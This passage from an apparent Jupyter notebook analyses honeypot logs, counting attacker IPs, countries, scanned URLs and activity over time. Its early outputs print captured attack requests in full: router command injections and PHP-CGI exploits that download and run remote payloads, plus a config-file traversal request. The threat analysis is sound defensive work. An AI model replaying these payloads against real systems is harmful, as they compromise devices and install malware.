%38%2e%73%68%60&%53%74%61%72%74%45%50%49%3d%31     1
POST /tmUnblock.cgi HTTP/1.1\r\nContent-Length: 1033\r\n\r\n%73%75%62%6d%69%74%5f%62%75%74%74%6f%6e%3d&%63%68%61%6e%67%65%5f%61%63%74%69%6f%6e%3d&%61%63%74%69%6f%6e%3d&%63%6f%6d%6d%69%74%3d&%74%74%63%70%5f%6e%75%6d%3d%32&%74%74%63%70%5f%73%69%7a%65%3d%32&%74%74%63%70%5f%69%70%3d%2d%68%20%60%63%64%20%2f%74%6d%70%3b%65%63%68%6f%20%22%23%21%2f%62%69%6e%2f%73%68%22%20%3e%20%2e%32%34%31%36%38%35%62%39%2e%73%68%3b%65%63%68%6f%20%22%77%67%65%74%20%2d%4f%20%2e%32%34%31%36%38%35%62%39%20%68%74%74%70%3a%2f%2f%37%32%2e%31%33%33%2e%33%34%2e%31%35%34%3a%33%32%30%30%22%20%3e%3e%20%2e%32%34%31%36%38%35%62%39%2e%73%68%3b%65%63%68%6f%20%22%63%68%6d%6f%64%20%2b%78%20%2e%32%34%31%36%38%35%62%39%22%20%3e%3e%20%2e%32%34%31%36%38%35%62%39%2e%73%68%3b%65%63%68%6f%20%22%2e%2f%2e%32%34%31%36%38%35%62%39%22%20%3e%3e%20%2e%32%34%31%36%38%35%62%39%2e%73%68%3b%65%63%68%6f%20%22%72%6d%20%2e%32%34%31%36%38%35%62%39%22%20%3e%3e%20%2e%32%34%31%36%38%35%62%39%2e%73%68%3b%63%68%6d%6f%64%20%2b%78%20%2e%32%34%31%36%38%35%62%39%2e%73%68%3b%2e%2f%2e%32%34%31%36%38%35%62%39%2e%73%68%60&%53%74%61%72%74%45%50%49%3d%31     1
GET //vtigercrm/matrix.php?act=f&f=sip_additional.conf&d=%2Fetc%2Fasterisk HTTP/1.1\r\nAccept-Encoding: gzip, deflate\r\nHost: yyy.yyy.yyy.yyy\r\nUser-Agent: HTTP_Request2/0.5.2 (http://pear.php.net/package/http_request2) PHP/5.2.5     1
GET /r/nReferer: HTTP/1.1\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\nAccept-Encoding: gzip,deflate,sdch\r\nAccept-Language: en-US,en;q=0.8\r\nConnection: keep-alive\r\nDnt: 1\r\nHost: ec2-xxx-xxx-xxx-xxx.us-west-2.compute.amazonaws.com\r\nReferer: http://192.168.56.101:8888/notebooks/Lab%205/Lab%202.1.ipynb\r\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.101 Safari/537.36     1
POST /cgi-bin/php4?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1\r\nAccept: text/html, application/xhtml+xml, */*\r\nContent-Length: 25\r\nContent-Type: text/html\r\nExpect: 100-continue\r\nHost: www.www.www.www\r\nUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)\r\n\r\n<?php echo xocoder123; ?>     1
POST /tmUnblock.cgi HTTP/1.1\r\nContent-Length: 1033\r\n\r\n%73%75%62%6d%69%74%5f%62%75%74%74%6f%6e%3d&%63%68%61%6e%67%65%5f%61%63%74%69%6f%6e%3d&%61%63%74%69%6f%6e%3d&%63%6f%6d%6d%69%74%3d&%74%74%63%70%5f%6e%75%6d%3d%32&%74%74%63%70%5f%73%69%7a%65%3d%32&%74%74%63%70%5f%69%70%3d%2d%68%20%60%63%64%20%2f%74%6d%70%3b%65%63%68%6f%20%22%23%21%2f%62%69%6e%2f%73%68%22%20%3e%20%2e%31%33%31%34%35%38%33%63%2e%73%68%3b%65%63%68%6f%20%22%77%67%65%74%20%2d%4f%20%2e%31%33%31%34%35%38%33%63%20%68%74%74%70%3a%2f%2f%36%36%2e%32%34%34%2e%36%34%2e%31%32%35%3a%33%32%30%30%22%20%3e%3e%20%2e%31%33%31%34%35%38%33%63%2e%73%68%3b%65%63%68%6f%20%22%63%68%6d%6f%64%20%2b%78%20%2e%31%33%31%34%35%38%33%63%22%20%3e%3e%20%2e%31%33%31%34%35%38%33%63%2e%73%68%3b%65%63%68%6f%20%22%2e%2f%2e%31%33%31%34%35%38%33%63%22%20%3e%3e%20%2e%31%33%31%34%35%38%33%63%2e%73%68%3b%65%63%68%6f%20%22%72%6d%20%2e%31%33%31%34%35%38%33%63%22%20%3e%3e%20%2e%31%33%31%34%35%38%33%63%2e%73%68%3b%63%68%6d%6f%64%20%2b%78%20%2e%31%33%31%34%35%38%33%63%2e%73%68%3b%2e%2f%2e%31%33%31%34%35%38%33%63%2e%73%68%60&%53%74%61%72%74%45%50%49%3d%31     1
POST /tmUnblock.cgi HTTP/1.1\r\nContent-Length: 1033\r\n\r\n%73%75%62%6d%69%74%5f%62%75%74%74%6f%6e%3d&%63%68%61%6e%67%65%5f%61%63%74%69%6f%6e%3d&%61%63%74%69%6f%6e%3d&%63%6f%6d%6d%69%74%3d&%74%74%63%70%5f%6e%75%6d%3d%32&%74%74%63%70%5f%73%69%7a%65%3d%32&%74%74%63%70%5f%69%70%3d%2d%68%20%60%63%64%20%2f%74%6d%70%3b%65%63%68%6f%20%22%23%21%2f%62%69%6e%2f%73%68%22%20%3e%20%2e%61%35%31%36%36%65%32%36%2e%73%68%3b%65%63%68%6f%20%22%77%67%65%74%20%2d%4f%20%2e%61%35%31%36%36%65%32%36%20%68%74%74%70%3a%2f%2f%32%31%31%2e%32%34%2e%31%35%2e%31%38%36%3a%33%32%30%30%22%20%3e%3e%20%2e%61%35%31%36%36%65%32%36%2e%73%68%3b%65%63%68%6f%20%22%63%68%6d%6f%64%20%2b%78%20%2e%61%35%31%36%36%65%32%36%22%20%3e%3e%20%2e%61%35%31%36%36%65%32%36%2e%73%68%3b%65%63%68%6f%20%22%2e%2f%2e%61%35%31%36%36%65%32%36%22%20%3e%3e%20%2e%61%35%31%36%36%65%32%36%2e%73%68%3b%65%63%68%6f%20%22%72%6d%20%2e%61%35%31%36%36%65%32%36%22%20%3e%3e%20%2e%61%35%31%36%36%65%32%36%2e%73%68%3b%63%68%6d%6f%64%20%2b%78%20%2e%61%35%31%36%36%65%32%36%2e%73%68%3b%2e%2f%2e%61%35%31%36%36%65%32%36%2e%73%68%60&%53%74%61%72%74%45%50%49%3d%31     1
POST /cgi-bin/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1\r\nConnection: close\r\nContent-Length: 160\r\nContent-Type: application/x-www-form-urlencoded\r\nHost: www.www.www.www\r\nUser-Agent: Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26(KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25\r\n\r\n<?php\n system(" id;killall .klogd;cd /var/tmp;rm -rf ...;mkdir ...;cd ...;wget http://82.141.104.123/ispconfig/temp/.../.../x.tgz;tar xvfz x.tgz;./.klogd "); ?>     1
dtype: int64

Look for attempts that potentially contain directory traversal.



In [23]:

    
glastopf_df[glastopf_df['request_raw'].str.contains('\.\.')]['request_raw'].value_counts()









    Out[23]:





POST /cgi-bin/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1\r\nConnection: close\r\nContent-Length: 160\r\nContent-Type: application/x-www-form-urlencoded\r\nHost: www.www.www.www\r\nUser-Agent: Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26(KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25\r\n\r\n<?php\n system(" id;killall .klogd;cd /var/tmp;rm -rf ...;mkdir ...;cd ...;wget http://82.141.104.123/ispconfig/temp/.../.../x.tgz;tar xvfz x.tgz;./.klogd "); ?>    1
dtype: int64

Timeseries Graphs

Total events over time



In [24]:

    
import matplotlib.pyplot as plt

plt.plot(attacker_df['attackerIP'].resample("D", how='count'), label="Total Events")
plt.legend(bbox_to_anchor=(1.05, 1), loc=2, borderaxespad=0.)    
plt.show()

Port activity over time (for ports lower than 10000).



In [25]:

    
attacker_df['victimPort'] = attacker_df['victimPort'].astype(int)
for port in attacker_df['victimPort'].value_counts().index:
    if port < 10000:
        plt.plot(attacker_df[attacker_df == port]['victimPort'].resample("D", how='count'), label=str(port))
plt.legend(bbox_to_anchor=(1.05, 1), loc=2, borderaxespad=0.)    
plt.show()

Non-Amun honeypot traffic and their associated ports.



In [26]:

    
tempdf = attacker_df[attacker_df['channel'] != 'amun.events']
for port in tempdf['victimPort'].value_counts().index:
    plt.plot(tempdf[tempdf == port]['victimPort'].resample("D", how='count'), label=str(port))
plt.legend(bbox_to_anchor=(1.05, 1), loc=2, borderaxespad=0.)    
plt.show()

Honeypot activity over time by honeypot type.



In [27]:

    
for channel in attacker_df['channel'].value_counts().index:
    plt.plot(attacker_df[attacker_df['channel'] == channel]['channel'].resample("D", how='count'), label=channel)
plt.legend(bbox_to_anchor=(1.05, 1), loc=2, borderaxespad=0.)    
plt.show()

Individual honeypot activity over time.



In [29]:

    
for ident in attacker_df['ident'].value_counts().index:
    channel = attacker_df[attacker_df['ident'] == ident]['channel'].tolist()[0]
    a =  channel.split('.')[0]
    plt.plot(attacker_df[attacker_df['ident'] == ident]['ident'].resample("D", how='count'), label=a)
plt.legend(bbox_to_anchor=(1.05, 1), loc=2, borderaxespad=0.)    
plt.show()

Just the glastopf honeypot activity over time.



In [30]:

    
for ident in attacker_df['ident'].value_counts().index:
    channel = attacker_df[attacker_df['ident'] == ident]['channel'].tolist()[0]
    a =  channel.split('.')[0]
    if a != 'amun':
        plt.plot(attacker_df[attacker_df['ident'] == ident]['ident'].resample("D", how='count'), label=a)
plt.legend(bbox_to_anchor=(1.05, 1), loc=2, borderaxespad=0.)    
plt.show()

Removed the most active attacker IP to look at how the rest of the top 10 behaved.



In [32]:

    
for ip in attacker_df['attackerIP'].value_counts().index[1:10]:
    plt.plot(attacker_df[attacker_df['attackerIP'] == ip]['attackerIP'].resample("D", how='count'), label=ip)
plt.legend(bbox_to_anchor=(1.05, 1), loc=2, borderaxespad=0.)    
plt.show()

Further Exploration

It's possible to not only look at the top 20 countries hitting the honeypots, but other queries can be combined with the GeoIP info to get a different view on how information is laid out.



In [33]:

    
attacker_df['attackerCountry'].value_counts()[:20]









    Out[33]:





China                        55444
United States                20419
Taiwan                        4640
Singapore                     2395
Sweden                        1854
Russian Federation             692
Germany                        586
Netherlands                    537
Turkey                         532
Korea, Republic of             440
Ukraine                        323
India                          222
Canada                         181
France                         158
Poland                         156
Israel                         138
United Kingdom                 131
Brazil                         124
Barbados                       106
Iran, Islamic Republic of      100
dtype: int64

Below is a snapshot of all the countries that hit the honeypots with shellshock requests.



In [34]:

    
glastopf_df[glastopf_df['request_raw'].str.contains('};')]['attackerCountry'].value_counts()









    Out[34]:





Russian Federation    395
Germany               126
Sweden                 98
Brazil                 20
China                  16
Taiwan                 12
United States           5
Lithuania               3
Singapore               2
Turkey                  2
India                   1
Italy                   1
dtype: int64

You can learn a lot from a URL

One of the things you can learn from a URL is the types of vulnerabilites people are scanning for.



In [35]:

    
glastopf_df['request_url'].value_counts()









    Out[35]:





/                                                       195
/tmUnblock.cgi                                          118
/manager/html                                            96
/phpmyadmin/scripts/setup.php                            66
/etc/lib/pChart2/examples/index.php                      14
//web/phpMyAdmin/scripts/setup.php                       12
//typo3/phpmyadmin/scripts/setup.php                     12
//phpMyAdmin-3.0.1.0-english/scripts/setup.php            9
//phpMyAdmin3/scripts/setup.php                           9
//phpMyAdmin2/scripts/setup.php                           9
//cpphpmyadmin/scripts/setup.php                          9
//cpanelphpmyadmin/scripts/setup.php                      9
//phpMyAdmin-3.0.0-rc1-english/scripts/setup.php          9
/muieblackcat                                             9
//phpMyAdmin-3.0.0.0-all-languages/scripts/setup.php      9
...
/cgi-bin/finger.cgi                        1
/mysql-admin/scripts/setup.php             1
/phpMyAdmin-2.6.0/scripts/setup.php        1
/cgi-bin/ratlog.cgi                        1
/phpMyAdmin-2.7.0-rc1/scripts/setup.php    1
/cgi-bin/pagelog.cgi                       1
/phpMyAdmin-2.5.5-rc1/scripts/setup.php    1
/cgi-bin/gH.cgi                            1
/cgi-bin/perlshop.cgi                      1
/cgi-bin/admin.plHTTP/1.0                  1
/cgi-bin/moin.cgi                          1
/cgi-sys/addalink.cgi                      1
/cgi-bin/maillist.cgi                      1
/cgi-bin/netpad.cgi                        1
/phpMyAdmin-2.6.4-rc1/scripts/setup.php    1
Length: 615, dtype: int64

Some exploration around scanning for phpMyAdmin.



In [36]:

    
glastopf_df[glastopf_df['request_raw'].str.contains('phpMyAdmin')]['request_url'].value_counts().head(20)









    Out[36]:





//web/phpMyAdmin/scripts/setup.php                      12
//phpMyAdmin2/scripts/setup.php                          9
//phpMyAdmin-3.0.0.0-all-languages/scripts/setup.php     9
//phpMyAdmin-2.11.1-all-languages/scripts/setup.php      9
//phpMyAdmin-3.0.0-rc1-english/scripts/setup.php         9
//phpMyAdmin3/scripts/setup.php                          9
//phpMyAdmin-3.0.1.0-english/scripts/setup.php           9
//phpMyAdmin-2/scripts/setup.php                         3
/phpMyAdmin/scripts/setup.php                            3
//phpMyAdmin/scripts/setup.php                           3
//phpMyAdmin-3.4.3.1/scripts/setup.php                   2
//phpMyAdmin-2.11.1.1/scripts/setup.php                  2
//phpMyAdmin-2.9.0-rc1/scripts/setup.php                 2
//phpMyAdmin-2.8.5/scripts/setup.php                     2
//phpMyAdmin-2.8.3/scripts/setup.php                     2
//phpMyAdmin-2.6.4-pl4/scripts/setup.php                 2
//phpMyAdmin-3.1.2.0-english/scripts/setup.php           2
//phpMyAdmin-2.7.0-rc1/scripts/setup.php                 2
//phpMyAdmin-2.6.4-pl3/scripts/setup.php                 2
//phpMyAdmin-2.10.0.0/scripts/setup.php                  2
dtype: int64



In [37]:

    
len(glastopf_df[glastopf_df['request_raw'].str.contains('phpMyAdmin')]['attackerIP'].unique())









    Out[37]:





10



In [38]:

    
for ip in glastopf_df[glastopf_df['request_raw'].str.contains('phpMyAdmin')]['attackerIP'].unique().tolist():
    print "%s - %s" %(ip, glastopf_df[glastopf_df['attackerIP'] == ip]['attackerCountry'].unique())









    



198.12.87.152 - ['United States']
104.192.103.3 - [None]
101.69.247.10 - ['China']
184.154.169.194 - ['United States']
89.248.171.2 - ['Netherlands']
222.175.241.131 - ['China']
69.174.245.163 - ['United States']
69.175.60.90 - ['United States']
175.122.253.28 - ['Korea, Republic of']
93.174.93.177 - ['Netherlands']

Setup and exploration to see if any attackers were seen across multiple honeypots, this might indicate Internet wide scanning.



In [39]:

    
honeymap = {}
for ident in set(attacker_df.ident.tolist()):
    honeymap[ident] = {}
    honeymap[ident]['channel'] = list(set(attacker_df[attacker_df['ident'] == ident]['channel'].tolist()))[0]
    honeymap[ident]['ip'] = list(set(attacker_df[attacker_df['ident'] == ident]['victimIP'].tolist()))[0]



In [40]:

    
for ip in set(attacker_df['attackerIP'].tolist()):
    ids = set(attacker_df[attacker_df['attackerIP'] == ip]['ident'].tolist())
    if len(ids) > 1:
        temp = []
        for i in ids:
            temp.append(honeymap[i]['ip'] + ':' + honeymap[i]['channel'])
        temp = set(temp)
        if len(temp) > 3:
            print "%s seen across %d honeypots (%s) with %d connections" %(ip, len(temp), ", ".join(temp), attacker_df[attacker_df['attackerIP'] == ip].shape[0])









    



192.3.45.107 seen across 4 honeypots (yyy.yyy.yyy.yyy:glastopf.events, vvv.vvv.vvv.vvv:amun.events, www.www.www.www:glastopf.events, zzz.zzz.zzz.zzz:amun.events) with 14 connections
125.64.35.67 seen across 4 honeypots (yyy.yyy.yyy.yyy:glastopf.events, vvv.vvv.vvv.vvv:amun.events, www.www.www.www:glastopf.events, zzz.zzz.zzz.zzz:amun.events) with 41 connections
95.211.168.135 seen across 4 honeypots (yyy.yyy.yyy.yyy:glastopf.events, vvv.vvv.vvv.vvv:amun.events, www.www.www.www:glastopf.events, zzz.zzz.zzz.zzz:amun.events) with 4 connections
178.218.210.59 seen across 4 honeypots (yyy.yyy.yyy.yyy:glastopf.events, vvv.vvv.vvv.vvv:amun.events, www.www.www.www:glastopf.events, zzz.zzz.zzz.zzz:amun.events) with 399 connections
71.6.135.131 seen across 4 honeypots (yyy.yyy.yyy.yyy:glastopf.events, vvv.vvv.vvv.vvv:amun.events, www.www.www.www:glastopf.events, zzz.zzz.zzz.zzz:amun.events) with 13 connections
117.21.173.140 seen across 4 honeypots (yyy.yyy.yyy.yyy:glastopf.events, vvv.vvv.vvv.vvv:amun.events, www.www.www.www:glastopf.events, zzz.zzz.zzz.zzz:amun.events) with 146 connections
193.174.89.19 seen across 4 honeypots (yyy.yyy.yyy.yyy:glastopf.events, vvv.vvv.vvv.vvv:amun.events, www.www.www.www:glastopf.events, zzz.zzz.zzz.zzz:amun.events) with 13 connections
117.21.173.155 seen across 4 honeypots (yyy.yyy.yyy.yyy:glastopf.events, vvv.vvv.vvv.vvv:amun.events, www.www.www.www:glastopf.events, zzz.zzz.zzz.zzz:amun.events) with 24 connections
171.221.246.27 seen across 4 honeypots (yyy.yyy.yyy.yyy:glastopf.events, vvv.vvv.vvv.vvv:amun.events, www.www.www.www:glastopf.events, zzz.zzz.zzz.zzz:amun.events) with 5 connections
66.240.236.119 seen across 4 honeypots (yyy.yyy.yyy.yyy:glastopf.events, vvv.vvv.vvv.vvv:amun.events, www.www.www.www:glastopf.events, zzz.zzz.zzz.zzz:amun.events) with 26 connections
123.151.149.222 seen across 4 honeypots (yyy.yyy.yyy.yyy:glastopf.events, vvv.vvv.vvv.vvv:amun.events, www.www.www.www:glastopf.events, zzz.zzz.zzz.zzz:amun.events) with 9 connections
198.20.69.74 seen across 4 honeypots (yyy.yyy.yyy.yyy:glastopf.events, vvv.vvv.vvv.vvv:amun.events, www.www.www.www:glastopf.events, zzz.zzz.zzz.zzz:amun.events) with 46 connections
146.185.251.100 seen across 4 honeypots (yyy.yyy.yyy.yyy:glastopf.events, vvv.vvv.vvv.vvv:amun.events, www.www.www.www:glastopf.events, zzz.zzz.zzz.zzz:amun.events) with 4 connections
66.240.192.138 seen across 4 honeypots (yyy.yyy.yyy.yyy:glastopf.events, vvv.vvv.vvv.vvv:amun.events, www.www.www.www:glastopf.events, zzz.zzz.zzz.zzz:amun.events) with 28 connections
209.126.230.71 seen across 4 honeypots (yyy.yyy.yyy.yyy:glastopf.events, vvv.vvv.vvv.vvv:amun.events, www.www.www.www:glastopf.events, zzz.zzz.zzz.zzz:amun.events) with 4 connections
222.186.56.88 seen across 4 honeypots (yyy.yyy.yyy.yyy:glastopf.events, vvv.vvv.vvv.vvv:amun.events, www.www.www.www:glastopf.events, zzz.zzz.zzz.zzz:amun.events) with 14 connections
117.21.191.206 seen across 4 honeypots (yyy.yyy.yyy.yyy:glastopf.events, vvv.vvv.vvv.vvv:amun.events, www.www.www.www:glastopf.events, zzz.zzz.zzz.zzz:amun.events) with 86 connections
65.207.23.201 seen across 4 honeypots (yyy.yyy.yyy.yyy:glastopf.events, vvv.vvv.vvv.vvv:amun.events, www.www.www.www:glastopf.events, zzz.zzz.zzz.zzz:amun.events) with 12 connections

How does a specific attacker scan across various honeypot types?



In [41]:

    
#178.218.210.59
for ident in attacker_df[attacker_df.attackerIP == '178.218.210.59']['ident'].value_counts().index:
    channel = attacker_df[attacker_df['ident'] == ident]['channel'].tolist()[0]
    a =  channel.split('.')[0]
    plt.plot(attacker_df[attacker_df['ident'] == ident]['ident'].resample("D", how='count'), label=a)
plt.legend(bbox_to_anchor=(1.05, 1), loc=2, borderaxespad=0.)    
plt.show()

What are they looking for?



In [42]:

    
glastopf_df[glastopf_df.attackerIP == '178.218.210.59'].request_url.value_counts()









    Out[42]:





/cgi-bin/w3mman2html.cgi         2
/cgi-bin/test-cgi                2
/                                2
/cgi-bin/php.cgi                 2
/cgi-sys/defaultwebpage.cgi      2
/cgi-bin/csSearch.cgi            1
/sys-cgi                         1
/cgi-bin/robadmin.cgi            1
/cgi-bin/pagelog.cgi             1
/sample02.cgi                    1
/cgi-bin/ezshopper/search.cgi    1
/cgi-bin///admin.html            1
/cgi-bin/cbmc/forums.cgi         1
/cp/rac/nsManager.cgi            1
/cgi-bin/way-board.cgi           1
...
/cgi-sys/mchat.cgi                 1
/main.cgi                          1
/cartcart.cgi                      1
/csPassword.cgi                    1
/cgi-bin/addbanner.cgi             1
/cgi-sys/realsignup.cgi            1
/cgi-bin/mail/emumail.cgi          1
/infosrch.cgi                      1
/cgi-bin/ttawebtop.cgi/HTTP/1.0    1
/cgi-bin/survey.cgi                1
/cgi-bin/viewcvs.cgi               1
/enter_bug.cgi                     1
/siteUserMod.cgi                   1
/cgi-bin/hello                     1
/cgi-bin/csLiveSupport.cgi         1
Length: 392, dtype: int64

Time series correlation

Are there countries that are active at the same time across the various honypots? The more red a square is the more the countries are correlated.



In [43]:

    
cols = ['channel','timestamp','attackerIP','victimPort','attackerCountry','ident','victimIP']
adf = pd.DataFrame()
adf = adf.append(amun_df[cols], ignore_index=True)
adf = adf.append(glastopf_df[cols], ignore_index=True)
subset = adf[['timestamp','attackerCountry']]
subset['count'] = 1
subset = subset.set_index('timestamp')
pivot = pd.pivot_table(subset, values='count', index=subset.index, columns=['attackerCountry'], fill_value=0)

grouped = pivot.groupby([(lambda x: x.month), (lambda x: x.day)]).sum()

topN = subset['attackerCountry'].value_counts()[:20].index
corr_df = grouped[topN].corr()

import statsmodels.api as sm
corr_df.sort(axis=0, inplace=True) # Just sorting so exploits names are easy to find
corr_df.sort(axis=1, inplace=True)
corr_matrix = corr_df.as_matrix()
pylab.rcParams['figure.figsize'] = (10.0, 10.0)
sm.graphics.plot_corr(corr_matrix, ynames=corr_df.index.tolist(), xnames=corr_df.columns.tolist())
plt.show()

What the time series for the correlated countries looks like.



In [44]:

    
pylab.rcParams['figure.figsize'] = (14.0, 6.0)
print grouped[['France','Germany','Russian Federation']].corr()
grouped[['France','Germany','Russian Federation']].plot()
pylab.ylabel('Probes')
pylab.xlabel('Date Scanned')









    



attackerCountry       France   Germany  Russian Federation
attackerCountry                                           
France              1.000000  0.743756            0.802583
Germany             0.743756  1.000000            0.538658
Russian Federation  0.802583  0.538658            1.000000






    Out[44]:





<matplotlib.text.Text at 0x1109c47d0>

Same as above, except this time at the IP level. With this you can see amazon scanning part of their own infrastructure.



In [45]:

    
cols = ['channel','timestamp','attackerIP','victimPort','attackerCountry','ident','victimIP']
adf = pd.DataFrame()
adf = adf.append(amun_df[cols], ignore_index=True)
adf = adf.append(glastopf_df[cols], ignore_index=True)
subset = adf[['timestamp','attackerIP']]
subset['count'] = 1
subset = subset.set_index('timestamp')
pivot = pd.pivot_table(subset, values='count', index=subset.index, columns=['attackerIP'], fill_value=0)

grouped = pivot.groupby([(lambda x: x.month), (lambda x: x.day)]).sum()

topN = subset['attackerIP'].value_counts()[:20].index
corr_df = grouped[topN].corr()

import statsmodels.api as sm
corr_df.sort(axis=0, inplace=True) # Just sorting so exploits names are easy to find
corr_df.sort(axis=1, inplace=True)
corr_matrix = corr_df.as_matrix()
pylab.rcParams['figure.figsize'] = (10.0, 10.0)
sm.graphics.plot_corr(corr_matrix, ynames=corr_df.index.tolist(), xnames=corr_df.columns.tolist())
plt.show()



In [46]:

    
pylab.rcParams['figure.figsize'] = (14.0, 6.0)
print grouped[['202.102.48.186','61.153.106.24','61.163.217.30','85.105.85.72','71.190.176.162','71.179.27.162']].corr()
grouped[['202.102.48.186','61.163.217.30','85.105.85.72','71.190.176.162','71.179.27.162']].plot()
pylab.ylabel('Probes')
pylab.xlabel('Date Scanned')









    



attackerIP      202.102.48.186  61.153.106.24  61.163.217.30  85.105.85.72  \
attackerIP                                                                   
202.102.48.186        1.000000       0.443659       0.466142     -0.157855   
61.153.106.24         0.443659       1.000000      -0.190381     -0.033950   
61.163.217.30         0.466142      -0.190381       1.000000     -0.002035   
85.105.85.72         -0.157855      -0.033950      -0.002035      1.000000   
71.190.176.162        0.099815      -0.057815      -0.142057     -0.044815   
71.179.27.162         0.118790      -0.060411       0.119807     -0.046827   

attackerIP      71.190.176.162  71.179.27.162  
attackerIP                                     
202.102.48.186        0.099815       0.118790  
61.153.106.24        -0.057815      -0.060411  
61.163.217.30        -0.142057       0.119807  
85.105.85.72         -0.044815      -0.046827  
71.190.176.162        1.000000       0.480755  
71.179.27.162         0.480755       1.000000  






    Out[46]:





<matplotlib.text.Text at 0x114244ed0>